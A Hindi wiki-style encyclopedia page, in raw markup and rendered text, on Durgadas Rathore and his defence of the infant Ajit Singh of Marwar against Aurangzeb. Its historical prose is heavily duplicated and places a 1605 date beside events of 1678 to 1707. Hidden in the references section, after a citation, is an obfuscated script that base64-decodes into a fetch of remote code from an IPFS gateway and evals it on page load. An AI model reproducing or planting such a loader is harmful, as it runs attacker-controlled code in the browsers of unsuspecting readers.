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दुर्गादास मारवाड़ का प्रसिद्ध राठौर सरदार था। वह [[जोधपुर]] के [[जसवंत सिंह (राजा)|राजा जसवंत सिंह]] के मंत्री असिकर्ण का पुत्र था। [[मुग़ल]] सम्राट की ओर से जब राजा जसवंत सिंह [[क़ाबुल]] अभियान पर गया था, उसी बीच वहाँ [[10 दिसम्बर]] 1678 ई. को उसकी मृत्यु हो गई। उस समय उसका कोई भी पुत्र नहीं था। लेकिन दो माह के पश्चात उसकी विधवा रानियों के दो पुत्र हुए। एक पुत्र तो तत्काल ही मर गया, लेकिन दूसरा [[अजीत सिंह]] के नाम से विख्यात हुआ। यही अजीत सिंह मारवाड़ का वैध उत्तराधिकारी था। स्वर्गीय राजा के सरदारों के संरक्षण में शिशु अजीतसिंह तथा उसकी माँ को [[दिल्ली]] लाया गया। इन सरदारों में '''दुर्गादास''' प्रमुख था।  
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[[चित्र:Durgadas-Rathore.jpg|thumb|250px|दुर्गादास के सम्मान में जारी [[डाक टिकट]]]]
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'''दुर्गादास''' [[मारवाड़]] का प्रसिद्ध राठौर सरदार था। वह [[जोधपुर]] के [[जसवंत सिंह (राजा)|राजा जसवंत सिंह]] के मंत्री असिकर्ण का पुत्र था। [[मुग़ल]] सम्राट की ओर से जब राजा जसवंत सिंह [[क़ाबुल]] अभियान पर गया था, उसी बीच वहाँ [[10 दिसम्बर]] 1678 ई. को उसकी मृत्यु हो गई। उस समय उसका कोई भी पुत्र नहीं था। लेकिन दो माह के पश्चात् उसकी विधवा रानियों के दो पुत्र हुए। एक पुत्र तो तत्काल ही मर गया, लेकिन दूसरा [[अजीत सिंह]] के नाम से विख्यात हुआ। यही अजीत सिंह मारवाड़ का वैध उत्तराधिकारी था। स्वर्गीय राजा के सरदारों के संरक्षण में शिशु अजीतसिंह तथा उसकी माँ को [[दिल्ली]] लाया गया। इन सरदारों में '''दुर्गादास''' प्रमुख था।  
 
==आरम्भिक जीवन==
 
==आरम्भिक जीवन==
सन् 1605 ई., में असिकर्ण जी ('आशकरण' भी प्रचलित) उज्जैन की लड़ाई में धोखे से मारे गये। उस समय दुर्गादास केवल पंद्रह वर्ष के थे पर ऐसे होनहार थे, कि जसवन्तसिंह अपने बड़े बेटे पृथ्वीसिंह की तरह इन्हें भी प्यार करने लगे। कुछ दिनों बाद जब महाराज दक्खिन की सूबेदारी पर गये, तो पृथ्वीसिंह को राज्य का भार सौंपा और वीर दुर्गादास को सेनापति बनाकर अपने साथ कर लिया। उस समय दक्खिन में महाराज शिवाजी का साम्राज्य था।मुगलों की उनके सामने एक न चलती थी; इसलिए औरंगजेब ने जसवन्तसिंह को भेजा था।जसवन्तसिंह के पहुंचते ही मार-काट बन्द हो गई। धीरे-धीरे शिवाजी और जसवन्तसिंह में मेल-जोल हो गया। औरंगजेब की इच्छा तो थी कि शिवाजी को परास्त किया जाये। यह इरादा पूरा न हुआ, तो उसने जसवन्तसिंह को वहां से हटा दिया, और कुछ दिनों उन्हें लाहौर में रखकर फिर काबुल भेज दिया। काबुल के मुसलमान इतनी आसानी से दबने वाले नहीं थे। भीषण संग्राम हुआ; जिसमें महाराजा के दो लड़के मारे गये। बुढ़ापे में जसवन्तसिंह को यही गहरी चोट लगी। बहुत दु:खी होकर वहां से पेशावर चले गये।<ref>{{cite web |url=http://www.hindisamay.com/premchand%20samagra/durgadas/durgadas%20-%201.htm |title= दुर्गादास|accessmonthday=19 अप्रॅल |accessyear=2011 |last= |first= |authorlink= |format=एच.टी.एम.एल, |publisher=हिन्दी समय डॉट कॉम |language=हिन्दी }}</ref>
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सन् 1605 ई., में असिकर्ण जी ('आशकरण' भी प्रचलित) उज्जैन की लड़ाई में धोखे से मारे गये। उस समय दुर्गादास केवल पंद्रह वर्ष के थे पर ऐसे होनहार थे, कि जसवन्तसिंह अपने बड़े बेटे पृथ्वीसिंह की तरह इन्हें भी प्यार करने लगे। कुछ दिनों बाद जब महाराज दक्खिन की सूबेदारी पर गये, तो पृथ्वीसिंह को राज्य का भार सौंपा और वीर दुर्गादास को सेनापति बनाकर अपने साथ कर लिया। उस समय दक्खिन में महाराज शिवाजी का साम्राज्य था। मुग़लों की उनके सामने एक न चलती थी; इसलिए औरंगजेब ने जसवन्तसिंह को भेजा था।जसवन्तसिंह के पहुंचते ही मार-काट बन्द हो गई। धीरे-धीरे शिवाजी और जसवन्तसिंह में मेल-जोल हो गया। औरंगजेब की इच्छा तो थी कि शिवाजी को परास्त किया जाये। यह इरादा पूरा न हुआ, तो उसने जसवन्तसिंह को वहां से हटा दिया, और कुछ दिनों उन्हें लाहौर में रखकर फिर काबुल भेज दिया। काबुल के मुसलमान इतनी आसानी से दबने वाले नहीं थे। भीषण संग्राम हुआ; जिसमें महाराजा के दो लड़के मारे गये। बुढ़ापे में जसवन्तसिंह को यही गहरी चोट लगी। बहुत दु:खी होकर वहां से पेशावर चले गये।<ref>{{cite web |url=http://www.hindisamay.com/premchand%20samagra/durgadas/durgadas%20-%201.htm |title= दुर्गादास|accessmonthday=19 अप्रॅल |accessyear=2011 |last= |first= |authorlink= |format=एच.टी.एम.एल, |publisher=हिन्दी समय डॉट कॉम |language=हिन्दी }}</ref>
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==औरंगज़ेब की शर्त==
 
==औरंगज़ेब की शर्त==
सरदारों ने [[औरंगज़ेब]] से आग्रह किया कि वे अजीतसिंह को मारवाड़ की गद्दी का उत्तराधिकारी स्वीकार करें। लेकिन औरंगज़ेब मारवाड़ को मुग़ल साम्राज्य में मिलाना चाहता था, अतएव उसने यह शर्त रखी कि अजीतसिंह [[मुसलमान]] हो जाए तो उसे मारवाड़ की गद्दी का उत्तराधिकारी माना जा सकता है। औरंगज़ेब ने अजीतसिंह और विधवा माँ को पकड़ने के लिए मुग़ल सैनिक भेजे, किन्तु चतुर वीर दुर्गादास ने औरंगज़ेब की यह चाल विफल कर दी। उसने कुछ राठौर सैनिकों को मुग़ल सैनिकों का सामना करने के लिए भेज दिया तथा स्वयं रानियों और शिशु को [[दिल्ली]] स्थित महल से निकालकर सुरक्षित जोधपुर ले गया। औरंगज़ेब ने जोधपुर पर क़ब्ज़ा करने के लिए विशाल मुग़ल सेना भेजी। 1680 ई. में जो युद्ध हुआ, उसमें राठौरों का नेतृत्व दुर्गादास ने बड़ी ही बहादुरी से किया। औरंगज़ेब का पुत्र [[शाहजादा अकबर]] [[राजपूत|राजपूतों]] से मिल गया।
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सरदारों ने [[औरंगज़ेब]] से आग्रह किया कि वे अजीतसिंह को मारवाड़ की गद्दी का उत्तराधिकारी स्वीकार करें। लेकिन औरंगज़ेब [[मारवाड़]] को मुग़ल साम्राज्य में मिलाना चाहता था, अतएव उसने यह शर्त रखी कि अजीतसिंह [[मुसलमान]] हो जाए तो उसे मारवाड़ की गद्दी का उत्तराधिकारी माना जा सकता है। औरंगज़ेब ने अजीतसिंह और विधवा माँ को पकड़ने के लिए मुग़ल सैनिक भेजे, किन्तु चतुर वीर दुर्गादास ने औरंगज़ेब की यह चाल विफल कर दी। उसने कुछ राठौर सैनिकों को मुग़ल सैनिकों का सामना करने के लिए भेज दिया तथा स्वयं रानियों और शिशु को [[दिल्ली]] स्थित महल से निकालकर सुरक्षित जोधपुर ले गया। औरंगज़ेब ने जोधपुर पर क़ब्ज़ा करने के लिए विशाल मुग़ल सेना भेजी। 1680 ई. में जो युद्ध हुआ, उसमें राठौरों का नेतृत्व दुर्गादास ने बड़ी ही बहादुरी से किया। औरंगज़ेब का पुत्र [[शाहजादा अकबर]] [[राजपूत|राजपूतों]] से मिल गया।
 
==छल नीति==
 
==छल नीति==
 
इस समय एक अवसर उपस्थित हुआ था, जब राजपूत और [[अकबर]] मिलकर औरंगज़ेब का तख्ता पलट सकते थे, किन्तु औरंगज़ेब ने छल नीति से राजपूतों और अकबर में फूट पैदा कर दी। जब दुर्गादास को वास्तविकता का पता लगा तो वह अकबर को ख़ानदेश बगलाना होते हुए [[मराठा]] राजा [[शम्भुजी]] के दरबार में ले गया। दुर्गादास ने बहुत प्रयत्न किया कि राजपूत, मराठा और अकबर की फ़ौजें मिलकर औरंगज़ेब से युद्ध करें, लेकिन आलसी शम्भुजी इसके लिए तैयार नहीं हुआ। दुर्गादास 1687 ई. में मारवाड़ वापस लौट आया। यद्यपि [[मेवाड़]] ने औरंगज़ेब से संधि कर ली थी, तथापि मारवाड़ की ओर से दुर्गादास लगातार 20 वर्ष तक औरंगज़ेब के विरुद्ध युद्ध करता रहा। 1707 ई. में औरंगज़ेब की मृत्यु हो गई। इसके बाद नये मुग़ल बादशाह ने अजीतसिंह को मारवाड़ का महाराज स्वीकार कर लिया।
 
इस समय एक अवसर उपस्थित हुआ था, जब राजपूत और [[अकबर]] मिलकर औरंगज़ेब का तख्ता पलट सकते थे, किन्तु औरंगज़ेब ने छल नीति से राजपूतों और अकबर में फूट पैदा कर दी। जब दुर्गादास को वास्तविकता का पता लगा तो वह अकबर को ख़ानदेश बगलाना होते हुए [[मराठा]] राजा [[शम्भुजी]] के दरबार में ले गया। दुर्गादास ने बहुत प्रयत्न किया कि राजपूत, मराठा और अकबर की फ़ौजें मिलकर औरंगज़ेब से युद्ध करें, लेकिन आलसी शम्भुजी इसके लिए तैयार नहीं हुआ। दुर्गादास 1687 ई. में मारवाड़ वापस लौट आया। यद्यपि [[मेवाड़]] ने औरंगज़ेब से संधि कर ली थी, तथापि मारवाड़ की ओर से दुर्गादास लगातार 20 वर्ष तक औरंगज़ेब के विरुद्ध युद्ध करता रहा। 1707 ई. में औरंगज़ेब की मृत्यु हो गई। इसके बाद नये मुग़ल बादशाह ने अजीतसिंह को मारवाड़ का महाराज स्वीकार कर लिया।
  
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==टीका टिप्पणी और संदर्भ==  
 
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(पुस्तक 'भारतीय इतिहास कोश') पृष्ठ संख्या-207
 
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==संबंधित लेख==
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07:42, 23 जून 2017 के समय का अवतरण

दुर्गादास के सम्मान में जारी डाक टिकट

दुर्गादास मारवाड़ का प्रसिद्ध राठौर सरदार था। वह जोधपुर के राजा जसवंत सिंह के मंत्री असिकर्ण का पुत्र था। मुग़ल सम्राट की ओर से जब राजा जसवंत सिंह क़ाबुल अभियान पर गया था, उसी बीच वहाँ 10 दिसम्बर 1678 ई. को उसकी मृत्यु हो गई। उस समय उसका कोई भी पुत्र नहीं था। लेकिन दो माह के पश्चात् उसकी विधवा रानियों के दो पुत्र हुए। एक पुत्र तो तत्काल ही मर गया, लेकिन दूसरा अजीत सिंह के नाम से विख्यात हुआ। यही अजीत सिंह मारवाड़ का वैध उत्तराधिकारी था। स्वर्गीय राजा के सरदारों के संरक्षण में शिशु अजीतसिंह तथा उसकी माँ को दिल्ली लाया गया। इन सरदारों में दुर्गादास प्रमुख था।

आरम्भिक जीवन

सन् 1605 ई., में असिकर्ण जी ('आशकरण' भी प्रचलित) उज्जैन की लड़ाई में धोखे से मारे गये। उस समय दुर्गादास केवल पंद्रह वर्ष के थे पर ऐसे होनहार थे, कि जसवन्तसिंह अपने बड़े बेटे पृथ्वीसिंह की तरह इन्हें भी प्यार करने लगे। कुछ दिनों बाद जब महाराज दक्खिन की सूबेदारी पर गये, तो पृथ्वीसिंह को राज्य का भार सौंपा और वीर दुर्गादास को सेनापति बनाकर अपने साथ कर लिया। उस समय दक्खिन में महाराज शिवाजी का साम्राज्य था। मुग़लों की उनके सामने एक न चलती थी; इसलिए औरंगजेब ने जसवन्तसिंह को भेजा था।जसवन्तसिंह के पहुंचते ही मार-काट बन्द हो गई। धीरे-धीरे शिवाजी और जसवन्तसिंह में मेल-जोल हो गया। औरंगजेब की इच्छा तो थी कि शिवाजी को परास्त किया जाये। यह इरादा पूरा न हुआ, तो उसने जसवन्तसिंह को वहां से हटा दिया, और कुछ दिनों उन्हें लाहौर में रखकर फिर काबुल भेज दिया। काबुल के मुसलमान इतनी आसानी से दबने वाले नहीं थे। भीषण संग्राम हुआ; जिसमें महाराजा के दो लड़के मारे गये। बुढ़ापे में जसवन्तसिंह को यही गहरी चोट लगी। बहुत दु:खी होकर वहां से पेशावर चले गये।[1]

औरंगज़ेब की शर्त

सरदारों ने औरंगज़ेब से आग्रह किया कि वे अजीतसिंह को मारवाड़ की गद्दी का उत्तराधिकारी स्वीकार करें। लेकिन औरंगज़ेब मारवाड़ को मुग़ल साम्राज्य में मिलाना चाहता था, अतएव उसने यह शर्त रखी कि अजीतसिंह मुसलमान हो जाए तो उसे मारवाड़ की गद्दी का उत्तराधिकारी माना जा सकता है। औरंगज़ेब ने अजीतसिंह और विधवा माँ को पकड़ने के लिए मुग़ल सैनिक भेजे, किन्तु चतुर वीर दुर्गादास ने औरंगज़ेब की यह चाल विफल कर दी। उसने कुछ राठौर सैनिकों को मुग़ल सैनिकों का सामना करने के लिए भेज दिया तथा स्वयं रानियों और शिशु को दिल्ली स्थित महल से निकालकर सुरक्षित जोधपुर ले गया। औरंगज़ेब ने जोधपुर पर क़ब्ज़ा करने के लिए विशाल मुग़ल सेना भेजी। 1680 ई. में जो युद्ध हुआ, उसमें राठौरों का नेतृत्व दुर्गादास ने बड़ी ही बहादुरी से किया। औरंगज़ेब का पुत्र शाहजादा अकबर राजपूतों से मिल गया।

छल नीति

इस समय एक अवसर उपस्थित हुआ था, जब राजपूत और अकबर मिलकर औरंगज़ेब का तख्ता पलट सकते थे, किन्तु औरंगज़ेब ने छल नीति से राजपूतों और अकबर में फूट पैदा कर दी। जब दुर्गादास को वास्तविकता का पता लगा तो वह अकबर को ख़ानदेश बगलाना होते हुए मराठा राजा शम्भुजी के दरबार में ले गया। दुर्गादास ने बहुत प्रयत्न किया कि राजपूत, मराठा और अकबर की फ़ौजें मिलकर औरंगज़ेब से युद्ध करें, लेकिन आलसी शम्भुजी इसके लिए तैयार नहीं हुआ। दुर्गादास 1687 ई. में मारवाड़ वापस लौट आया। यद्यपि मेवाड़ ने औरंगज़ेब से संधि कर ली थी, तथापि मारवाड़ की ओर से दुर्गादास लगातार 20 वर्ष तक औरंगज़ेब के विरुद्ध युद्ध करता रहा। 1707 ई. में औरंगज़ेब की मृत्यु हो गई। इसके बाद नये मुग़ल बादशाह ने अजीतसिंह को मारवाड़ का महाराज स्वीकार कर लिया।


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टीका टिप्पणी और संदर्भ

  1. दुर्गादास (हिन्दी) (एच.टी.एम.एल,) हिन्दी समय डॉट कॉम। अभिगमन तिथि: 19 अप्रॅल, 2011।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

(पुस्तक 'भारतीय इतिहास कोश') पृष्ठ संख्या-207

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